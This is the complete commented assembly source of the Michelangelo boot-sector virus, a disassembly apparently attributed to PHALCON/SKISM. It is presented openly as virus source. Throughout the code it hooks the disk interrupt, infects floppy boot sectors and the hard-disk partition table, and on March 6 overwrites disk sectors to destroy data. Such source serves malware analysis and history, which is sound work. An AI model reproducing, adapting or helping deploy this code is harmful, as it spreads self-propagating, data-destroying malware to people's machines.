Michelangelo Virus Source Code

; As you can see, it is a derivative of the Stoned virus.  The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus.  In any case, it is yet another boot sector
; and partition table infector.

michelangelo    segment byte public
        assume  cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
        org     0

        jmp     entervirus
highmemjmp      db      0F5h, 00h, 80h, 9Fh
maxhead         db      2                       ; used by damagestuff
firstsector     dw      3
oldint13h       dd      0C8000256h

int13h:
        push    ds
        push    ax
        or      dl, dl                  ; default drive?
        jnz     exitint13h              ; exit if not
        xor     ax, ax
        mov     ds, ax
        test    byte ptr ds:[43fh], 1   ; disk 0 on?
        jnz     exitint13h              ; if not spinning, exit
        pop     ax
        pop     ds
        pushf
        call    dword ptr cs:[oldint13h]; first call old int 13h
        pushf
        call    infectdisk              ; then infect
        popf
        retf    2
exitint13h:     pop     ax
        pop     ds
        jmp     dword ptr cs:[oldint13h]

infectdisk:
        push    ax
        push    bx
        push    cx
        push    dx
        push    ds
        push    es
        push    si
        push    di
        push    cs
        pop     ds
        push    cs
        pop     es
        mov     si, 4
readbootblock:
        mov     ax,201h                 ; Read boot block to
        mov     bx,200h                 ; after virus
        mov     cx,1
        xor     dx,dx
        pushf
        call    oldint13h
        jnc     checkinfect             ; continue if no error
        xor     ax,ax
        pushf
        call    oldint13h               ; Reset disk
        dec     si                      ; loop back
        jnz     readbootblock
        jmp     short quitinfect        ; exit if too many failures
checkinfect:
        xor     si,si
        cld
        lodsw
        cmp     ax,[bx]                 ; check if already infected
        jne     infectitnow
        lodsw
        cmp     ax,[bx+2]               ; check again
        je      quitinfect
infectitnow:
        mov     ax,301h                 ; Write old boot block
        mov     dh,1                    ; to head 1
        mov     cl,3                    ; sector 3
        cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
        je      is360Kdisk
        mov     cl,0Eh
is360Kdisk:
        mov     firstsector,cx
        pushf
        call    oldint13h
        jc      quitinfect              ; exit on error
        mov     si,200h+offset partitioninfo
        mov     di,offset partitioninfo
        mov     cx,21h                  ; Copy partition table
        cld
        rep     movsw
        mov     ax,301h                 ; Write virus to sector 1
        xor     bx,bx
        mov     cx,1
        xor     dx,dx
        pushf
        call    oldint13h
quitinfect:
        pop     di
        pop     si
        pop     es
        pop     ds
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        retn
entervirus:
        xor     ax,ax
        mov     ds,ax
        cli
        mov     ss,ax
        mov     ax,7C00h                ; Set stack to just below
        mov     sp,ax                   ; virus load point
        sti
        push    ds                      ; save 0:7C00h on stack for
        push    ax                      ; later retf
        mov     ax,ds:[13h*4]
        mov     word ptr ds:[7C00h+offset oldint13h],ax
        mov     ax,ds:[13h*4+2]
        mov     word ptr ds:[7C00h+offset oldint13h+2],ax
        mov     ax,ds:[413h]            ; memory size in K
        dec     ax                      ; 1024 K
        dec     ax
        mov     ds:[413h],ax            ; move new value in
        mov     cl,6
        shl     ax,cl                   ; ax = paragraphs of memory
        mov     es,ax                   ; next line sets seg of jmp
        mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
        mov     ax,offset int13h
        mov     ds:[13h*4],ax
        mov     ds:[13h*4+2],es
        mov     cx,offset partitioninfo
        mov     si,7C00h
        xor     di,di
        cld
        rep     movsb                   ; copy to high memory
                        ; and transfer control there
        jmp     dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
        xor     ax,ax
        mov     es,ax
        int     13h                     ; reset disk
        push    cs
        pop     ds
        mov     ax,201h
        mov     bx,7C00h
        mov     cx,firstsector
        cmp     cx,7                    ; hard disk infection?
        jne     floppyboot              ; if not, do floppies
        mov     dx,80h                  ; Read old partition table of
        int     13h                     ; first hard disk to 0:7C00h
        jmp     short exitvirus
floppyboot:
        mov     cx,firstsector          ; read old boot block
        mov     dx,100h                 ; to 0:7C00h
        int     13h
        jc      exitvirus
        push    cs
        pop     es
        mov     ax,201h                 ; read boot block
        mov     bx,200h                 ; of first hard disk
        mov     cx,1
        mov     dx,80h
        int     13h
        jc      exitvirus
        xor     si,si
        cld
        lodsw
        cmp     ax,[bx]                 ; is it infected?
        jne     infectharddisk          ; if not, infect HD
        lodsw                           ; check infection
        cmp     ax,[bx+2]
        jne     infectharddisk
exitvirus:
        xor     cx,cx                   ; Real time clock get date
        mov     ah,4                    ; dx = mon/day
        int     1Ah
        cmp     dx,306h                 ; March 6th
        je      damagestuff
        retf                            ; return control to original
                        ; boot block @ 0:7C00h
damagestuff:
        xor     dx,dx
        mov     cx,1
smashanothersector:
        mov     ax,309h
        mov     si,firstsector
        cmp     si,3
        je      smashit
        mov     al,0Eh
        cmp     si,0Eh
        je      smashit
        mov     dl,80h                  ; first hard disk
        mov     maxhead,4
        mov     al,11h
smashit:
        mov     bx,5000h                ; random memory area
        mov     es,bx                   ; at 5000h:5000h
        int     13h                     ; Write al sectors to drive dl
        jnc     skiponerror             ; skip on error
        xor     ah,ah                   ; Reset disk drive dl
        int     13h
skiponerror:
        inc     dh                      ; next head
        cmp     dh,maxhead              ; 2 if floppy, 4 if HD
        jb      smashanothersector
        xor     dh,dh                   ; go to next head/cylinder
        inc     ch
        jmp     short smashanothersector
infectharddisk:
        mov     cx,7                    ; Write partition table to
        mov     firstsector,cx          ; sector 7
        mov     ax,301h
        mov     dx,80h
        int     13h
        jc      exitvirus
        mov     si,200h+offset partitioninfo ; Copy partition
        mov     di,offset partitioninfo      ; table information
        mov     cx,21h
        rep     movsw
        mov     ax,301h                 ; Write to sector 8
        xor     bx,bx                   ; Copy virus to sector 1
        inc     cl
        int     13h
;*              jmp     short 01E0h
        db      0EBh, 32h               ; ?This should crash?
; The following bytes are meaningless.
garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo:  db      42h dup (0)
michelangelo    ends
        end